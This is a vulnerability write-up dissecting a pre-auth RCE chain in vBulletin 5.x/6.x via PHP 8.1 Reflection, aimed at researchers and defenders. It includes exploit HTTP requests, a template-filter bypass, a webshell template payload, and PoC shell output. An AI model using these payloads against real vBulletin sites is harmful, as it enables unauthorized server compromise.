Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE

vBulletin is one of the most widely used commercial forum solutions over the Internet, powering thousands of online communities ranging from niche hobbyist sites to large-scale tech forums. Developed primarily in PHP, it features a custom MVC-like framework and a proprietary API system designed to handle AJAX and mobile app interactions. Over the years, vBulletin has gained a reputation for both its ubiquity and its vulnerability surface — often becoming a prime target for web application exploits.

In this blog post, we take a closer look at a pre-auth Remote Code Execution (RCE) vulnerability affecting vBulletin versions 5.x and 6.x that was likely patched a year ago. The bug stems from the misuse of PHP’s Reflection API within vBulletin’s API controller logic, combined with certain changes introduced in PHP 8.1 that allow protected (and even private) methods to be invoked via e.g. the ReflectionMethod::invoke() method. We’ll walk through how this API design flaw enables attackers to directly call internal methods that were never meant to be exposed — and why relying on method visibility for security boundaries can be a dangerous assumption.

This research was inspired by a similar vulnerability I previously discovered in Invision Community (see KIS-2025-02), which also involved method visibility and API exposure — though in that case, PHP’s Reflection API wasn’t used. Either way, this vBulletin finding prompted a wider investigation into how popular PHP-based applications handle reflective method invocation, especially in custom frameworks or API layers that attempt to route requests dynamically. As part of this effort, I reviewed several of the most widely deployed PHP applications and frameworks — including Joomla, WordPress, Drupal, and Magento — to identify common misuses or dangerous assumptions around visibility and method invocation. So far, according to my research at least, vBulletin stands out as the only platform where this specific pattern can lead to a critical vulnerability, but it raises a broader question: how many other PHP applications / frameworks are unknowingly exposing internal logic through Reflection?

This post aims not only to document the vulnerability in vBulletin, but also to highlight a potentially novel class of security bugs that may be lurking in other codebases. It could serve as a useful starting point for other researchers and / or developers to explore the intersection of reflection, dynamic routing, and insecure design assumptions in PHP applications.

🐞 The Vulnerability

To understand this class of vulnerability, let’s first take a look at a simplified example that reproduces the core issue: using PHP’s Reflection to dynamically call controller methods, without enforcing visibility restrictions or strict routing.

Here’s a minimal and trivial example of vulnerable app:

 1<?php
 2
 3class ApiController
 4{
 5    /*
 6     *
 7     * Public methods meant to be exposed...
 8     *
 9     */
10     
11    protected function protectedMethod()
12    {
13        echo "This should be protected!";
14    }
15
16    public function handle($method)
17    {
18        if (!is_callable(array($this, $method)))
19        {
20            die("Not callable!");
21        }
22        
23        $refMethod = new ReflectionMethod($this, $method);
24        $refMethod->invoke($this);  // No visibility check
25    }
26}
27
28// Simulate a web request
29$api = new ApiController();
30$api->handle($_GET['method']);  // Example: /api.php?method=protectedMethod

With this setup, and when the app is running over PHP 8.1+, simply accessing /api.php?method=protectedMethod will invoke a protected method directly — something the original developer likely assumed was inaccessible. While earlier PHP versions would have thrown an exception when trying to invoke a protected / private method without setAccessible(true), starting from PHP 8.1, this behavior has changed (see here). Due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP’s Reflection API. This subtle change can turn previously “safe” dynamic routing into a serious security issue… Like in the vBulletin case!

🕵️‍♂️ The vBulletin Vulnerability

vBulletin exposes a centralized API handler for internal and external requests, designed to abstract access to backend logic via dynamically routed method calls. This interface is used by various parts of the system, including AJAX handlers, mobile API endpoints, and even template directives ({vb:data ...}).

We’ll focus on the AJAX API handling system, which uses the following URI scheme:

http(s)://[vbulletinsite]/ajax/api/[controller]/[method]

As such, a legitimate HTTP request to the vBulletin’s AJAX API to e.g. fetch user profile information looks like this:

POST /ajax/api/user/fetchProfileInfo HTTP/1.1
Host: [vbulletinsite]
Content-Type: application/x-www-form-urlencoded

userid=123

This will load the vB_Api_User controller and will invoke vB_Api_User::fetchProfileInfo($userid = 123). Please note these API endpoints are publicly accessible by default — including to unauthenticated users. Access control is enforced at the method level (within each method), not globally. For instance, the vB_Api_User::fetchProfileInfo() method does not implement any access control check, so we can assume it is intended to be publicly callable.

To provide additional context, following is the stack backtrace when dispatching the above HTTP request:

#0 /core/vb/api/wrapper.php(92): vB_Api_User->fetchProfileInfo('...')
#1 /core/vb/api/wrapper.php(77): vB_Api_Wrapper->__call('...', Array)
#2 /includes/api/interface/collapsed.php(101): vB_Api_Wrapper->callNamed('...', Array)
#3 /includes/vb5/frontend/applicationlight.php(358): Api_Interface_Collapsed->callApi('...', '...', Array, true)
#4 /includes/vb5/frontend/applicationlight.php(170): vB5_Frontend_ApplicationLight->handleAjaxApi(Array)
#5 /index.php(38): vB5_Frontend_ApplicationLight->execute()

As you can see, at the core of this mechanism is the Api_Interface_Collapsed::callApi() method, which receives the target controller, method name, and arguments. Crucially, this method takes a $useNamedParams parameter — and when set to true (as it is for AJAX requests), it dispatches calls through the vB_Api_Wrapper::callNamed() method:

 87	// File: /includes/api/interface/collapsed.php - Api_Interface_Collapsed::callApi() method source code:
 88	public function callApi($controller, $method, array $arguments = [], $useNamedParams = false, $byTemplate = false)
 89	{
 90		try
 91		{
 92			$c = vB_Api::instance($controller);
 93		}
 94		catch (vB_Exception_Api $e)
 95		{
 96			throw new vB5_Exception_Api($controller, $method, $arguments, ['Failed to create API controller.']);
 97		}
 98
 99		if ($useNamedParams)
100		{
101			$result = $c->callNamed($method, $arguments); // $c is an instance of vB_Api_Wrapper
102		}
103		else
104		{
105			$result = call_user_func_array([&$c, $method], array_values($arguments));
106		}
107
108		if (!$byTemplate)
109		{
110			set_exception_handler(['vB5_ApplicationAbstract', 'handleException']);
111		}
112		return $result;
113	}

So, let’s see what the vB_Api_Wrapper::callNamed() method does under the hood:

53    // File: /core/vb/api/wrapper.php - vB_Api_Wrapper::callNamed() method source code:
54    public function callNamed()
55    {
56        $function_args = func_get_args();
57        list($method, $args) = $function_args;
58        if (!is_callable(array($this->api, $method))) {
59            return $this->__call('callNamed', $function_args);
60        }
61        $reflection = new ReflectionMethod($this->api, $method);
62        if ($reflection->isConstructor() OR $reflection->isDestructor() OR $reflection->isStatic() OR $method == 'callNamed') {
63            return;
64        }
65        $php_args = array();
66        foreach ($reflection->getParameters() as $param) {
67            if (array_key_exists($param->getName(), $args)) {
68                $php_args[] = &$args[$param->getName()];
69            } else {
70                if ($param->isDefaultValueAvailable()) {
71                    $php_args[] = $param->getDefaultValue();
72                } else {
73                    throw new Exception('Required argument missing: ' . htmlspecialchars($param->getName()));
74                }
75            }
76        }
77        return call_user_func_array(array($this, $method), $php_args);
78    }
79
80    public function __call($method, $arguments)
81    {
82        try {
83            if (!in_array($method, array('callNamed', 'getRoute', 'checkBeforeView')) AND !($this->controller === 'state' AND $method === 'checkCSRF')) {
84                if (!$this->api->checkApiState($method)) {
85                    return false;
86                }
87            }
88            $result = null;
89            $type = $this->validateCall($this->api, $method, $arguments);
90            if ($type) {
91                if (is_callable(array($this->api, $method))) {
92                    $call = call_user_func_array(array(&$this->api, $method), $arguments);
93                    if ($call !== null) {
94                        $result = $call;
95                    }
96                }
97            }

At lines 58-60 there is an if condition to check whether the controller’s method we are trying to invoke is actually “callable”: the value of $this->api in this example would be an instance of the vB_Api_User class, while the value of $method will be the user-tainted method name, in this case fetchProfileInfo. As such, the call to the is_callable() PHP function at line 58 returns true, because the vB_Api_User::fetchProfileInfo() method is public, alright!

So, execution reaches line 77, where the call_user_func_array() PHP function is being used to try to invoke the vB_Api_Wrapper::fetchProfileInfo() method; since it does not exist, this will trigger a call to the vB_Api_Wrapper::__call() magic method. Once again, if the method is “callable” (line 91), it will use the call_user_func_array() PHP function at line 92 to ultimately invoke the controller’s method.

Well, this will happen in case the method is “callable”… But what if we try to invoke a “non-callable” API controller’s method like a protected one?

As an example, let’s try invoke the vB_Api_Ad::wrapAdTemplate() method — which is a protected method — by issuing an HTTP request to the vBulletin’s AJAX API like the following:

POST /ajax/api/ad/wrapAdTemplate HTTP/1.1
Host: [vbulletinsite]
Content-Type: application/x-www-form-urlencoded

template=test&id_name=test

In this case, the call to the is_callable() PHP function at line 58 returns false because the method is protected, so execution will continue into the if condition, and the vB_Api_Wrapper::__call() magic method will be invoked at line 59, passing as first argument ($method) the value “callNamed”. That means the execution goes on till line 91, trying to check whether the vB_Api_Ad::callNamed() method is “callable”; the method does not exist within the vB_Api_Ad class (neither in any vB_Api_* controller), but in its parent class vB_Api, and it’s a public method… So, of course it is “callable”! 🙃

As a consequence, execution will continue into the vB_Api::callNamed() method:

 99    // File: /core/vb/api.php - vB_Api::callNamed() method source code:
100    public function callNamed()
101    {
102        list($method, $args) = func_get_args();
103        if (!is_callable(array($this, $method))) {
104            return;
105        }
106        $reflection = new ReflectionMethod($this, $method);
107        if ($reflection->isConstructor() OR $reflection->isDestructor() OR $reflection->isStatic() OR $method == 'callNamed') {
108            return;
109        }
110        $php_args = array();
111        foreach ($reflection->getParameters() as $param) {
112            if (array_key_exists($param->getName(), $args)) {
113                $php_args[] = &$args[$param->getName()];
114            } else {
115                if ($param->isDefaultValueAvailable()) {
116                    $php_args[] = $param->getDefaultValue();
117                } else {
118                    throw new Exception('Required argument missing: ' . htmlspecialchars($param->getName()));
119                }
120            }
121        }
122        return $reflection->invokeArgs($this, $php_args);
123    }

At lines 103-105 there is another if condition to check whether the controller’s method we are trying to invoke is actually “callable”. However, this time is_callable() returns true even for protected methods, so it does not act as a safeguard here! 🔥

As a result, execution will continue till line 122 (if the method we are trying to invoke is not a constructor / destructor or static), where the ReflectionMethod::invokeArgs() method will be used to ultimately invoke the controller’s method. As we have already seen, if vBulletin is running over PHP 8.1+, the call succeeds, and the protected method is executed — bypassing the visibility control altogether, as shown by the following stack backtrace:

#0 [internal function]: vB_Api_Ad->wrapAdTemplate('...', '...', '...')
#1 /core/vb/api.php(122): ReflectionMethod->invokeArgs(Object(vB_Api_Ad), Array)
#2 /core/vb/api/wrapper.php(92): vB_Api->callNamed('...', Array)
#3 /core/vb/api/wrapper.php(59): vB_Api_Wrapper->__call('...', Array)
#4 /includes/api/interface/collapsed.php(101): vB_Api_Wrapper->callNamed('...', Array)
#5 /includes/vb5/frontend/applicationlight.php(358): Api_Interface_Collapsed->callApi('...', '...', Array, true)
#6 /includes/vb5/frontend/applicationlight.php(170): vB5_Frontend_ApplicationLight->handleAjaxApi(Array)
#7 /index.php(38): vB5_Frontend_ApplicationLight->execute()

Wrapping up, vBulletin’s API design relies heavily on dynamic dispatch and Reflection, but it failed to enforce strict and proper access control. As a result, any protected method in any vB_Api_* controller was exposed to unauthenticated users, when vBulletin was running over PHP 8.1 or later versions.

This effectively breaks encapsulation and gives attackers a direct line to methods that were never meant to be externally reachable — setting the stage for pre-auth Remote Code Execution (RCE) attacks, as we’ll explore next.

💥 Exploiting vBulletin: Path to Pre-Auth RCE

The ability to call a protected method alone wouldn’t necessarily result in a critical vulnerability like a Remote Code Execution (RCE) — but in this case, it acts as the first domino.

When I realized it was possible to invoke controllers' protected methods, the first thing I did was to grep the string “protected function” within every vB_Api_* controller, and it took me just a few minutes to find this RCE vector. Maybe there could be other ways to get a critical vulnerability out of this, by invoking other protected methods… However, this is the first thing I tried out, it worked, it led to pre-auth RCE attacks, and so here you go! 🤓

The first API controller I analyzed, by starting alphabetically, was vB_Api_Ad. It implements a few protected methods, but the most interesting one is the vB_Api_Ad::replaceAdTemplate() method, definitely:

449    // File: /core/vb/api/ad.php - vB_Api_Ad::replaceAdTemplate() method source code:
450    protected function replaceAdTemplate($styleid, $location, $template, $product = 'vbulletin')
451    {
452        $templateLib = vB_Library::instance('template');
453        $templateOptions = array('forcenotextonly' => true, 'textonly' => 0);
454        try {
455            $templateLib->insert($styleid, 'ad_' . $location, $template, $product, false, '', false, $templateOptions);
456        } catch (vB_Exception_Api $e) {
457            $templateid = $templateLib->getTemplateID('ad_' . $location, $styleid);
458            $templateLib->update($templateid, 'ad_' . $location, $template, $product, false, false, '', false, $templateOptions);
459        }
460    }

Such a method, that can be considered an internal helper function (called internally while saving / deleting ads), attempts to insert or update an “advertisement template” based on the provided input parameters. Specifically, the $template parameter will be saved as template text and can be subsequently evaluated by the vBulletin’s template engine — while its output can be retrieved by leveraging the /ajax/render/[template] route. Therefore, if we find a way to execute arbitrary PHP code by supplying specially crafted strings to the template engine, this can be the method we are looking for…

It turns out there was another N-day vulnerability affecting vBulletin’s template engine, and it led to arbitrary PHP code execution (RCE) by abusing “Template Conditionals” (<vb:if> tags). Basically, this gives the ability to use if conditions within the template code, something like the following:

<vb:if condition="$my_variable == 1">
    <p>My variable is equal to one.</p>
<vb:elseif condition="$my_variable == 2" />
    <p>My variable is equal to two.</p>
<vb:else />
    <p>My variable is equal to neither one nor two.</p>
</vb:if>

When parsed by the vBulletin’s template engine, the above template code would translate to the following PHP code that will be executed internally by vBulletin itself — by using eval() — while rendering the template:

 1$final_rendered = '' . ''; if ($my_variable == 1) {
 2					$final_rendered .= '
 3    <p>My variable is equal to one.</p>
 4';
 5				} else if ($my_variable == 2) {
 6					$final_rendered .= '
 7    <p>My variable is equal to two.</p>
 8';
 9				} else {
10			$final_rendered .= '
11    <p>My variable is equal to neither one nor two.</p>
12';
13                } $final_rendered = '' . '';

That means we can try to inject our own arbitrary PHP code through the condition attribute of a <vb:if> tag! So, the first thing I did at this point, was to create a simple template like the following:

<vb:if condition='phpinfo()'></vb:if>

Unfortunately, this will produce an error, and the template will be rejected because it contains “unsafe functions”, as you can see in the following Burp Suite screenshot:

After some digging, I realized vBulletin’s template parser enforces some security checks to prevent “unsafe functions” from being executed — and it does so using regular expressions. So, I tried a simple and straightforward potential bypass: in PHP, functions can be invoked not only in the usual way (e.g. var_dump(...);) but also using variable function calls — for instance, by calling the function name as a string. Consider the following:

1<?php
2
3error_reporting(E_ERROR);
4
5var_dump("Hello from PHP");
6'var_dump'("Hello from PHP");
7"var_dump"("Hello from PHP");

As of PHP 7.0.0, the above code will invoke the var_dump() PHP function three times, as you can see here, that means lines 5-7 are equivalent. As such, I tried to submit the following template code:

<vb:if condition='"var_dump"("Hello from PHP")'></vb:if>

And this one bypasses vBulletin’s security checks and goes through, we get no errors, and the template is successfully created! 😎

This is also confirmed by the rendering of our template:

So this is the end of our exploit chain! We can abuse a protected method, vB_Api_Ad::replaceAdTemplate(), to create arbitrary templates, and we can get our own webshell on every unpatched vBulletin 5.x or 6.x website by using a template like the following:

<vb:if condition='"passthru"($_POST["cmd"])'></vb:if>

Here you can find a full working Proof of Concept (PoC) script to reproduce this exploit chain. It’s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:

$ php vBulletin-replaceAdTemplate-RCE.php 

+---------------------------------------------------------------------+
| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |
+---------------------------------------------------------------------+

Usage......: php vBulletin-replaceAdTemplate-RCE.php <URL>

Example....: php vBulletin-replaceAdTemplate-RCE.php http://localhost/vb/
Example....: php vBulletin-replaceAdTemplate-RCE.php https://vbulletin.com/


$ php vBulletin-replaceAdTemplate-RCE.php http://192.168.1.23/vbulletin-6.0.1/

+---------------------------------------------------------------------+
| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |
+---------------------------------------------------------------------+

vBulletin-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

vBulletin-shell# pwd
/var/www/html/vbulletin-6.0.1

vBulletin-shell# exit

NOTE: the exploit has been successfully tested and confirmed to be working with vBulletin versions 5.1.0, 5.7.5, 6.0.1, and 6.0.3, running over PHP 8.1+. I’m not sure about version 6.0.4, but I think the “protected method invocation vulnerability” should be fixed starting from version 6.0.4, maybe… Who knows?! 😅

Conclusion

What started as an exploration into a seemingly innocuous misuse of PHP’s Reflection API ended with a full-blown, unauthenticated Remote Code Execution (RCE) vulnerability affecting one of the most widely deployed commercial forum software packages on the Internet: vBulletin. This bug is a textbook example of why relying solely on method visibility for access control — especially in dynamically dispatched systems — is a dangerous design decision.

The introduction of new behaviors in PHP 8.1 — such as ReflectionMethod allowing invocation of protected / private methods without setAccessible(true) — shows how even subtle changes at the language level can dramatically alter the security posture of an application — especially when the application already walks a fine line in terms of architecture. While vBulletin’s decision to centralize controller routing and use Reflection may have been made in the name of flexibility or developer convenience, it inadvertently created a backdoor into the internals of the system.

This issue also underscores a broader lesson: Reflection should never be used as a proxy for access control in dynamic routing implementations, in PHP applications at least… And if it is used, visibility checks must be explicitly and consistently enforced. Anything less opens the door for attackers to cross privilege boundaries, often in surprising and dangerous ways.

For defenders and developers: now is a good time to review your frameworks and custom APIs. If you’re dynamically routing controller methods through Reflection, audit whether you’re enforcing access restrictions robustly. Look at how your application behaves across different PHP versions, and always assume that method visibility alone is not a security boundary.

For researchers: this vulnerability class might be ripe for further exploration. My quick survey of popular PHP platforms suggests that while vBulletin is the most egregious case, others may have similar patterns waiting to be exploited. Custom CMS platforms, internal admin panels, legacy enterprise code — all of these are candidates.

In the end, this isn’t just a vBulletin story. It’s a cautionary tale about what happens when flexibility meets reflection — and security is left behind.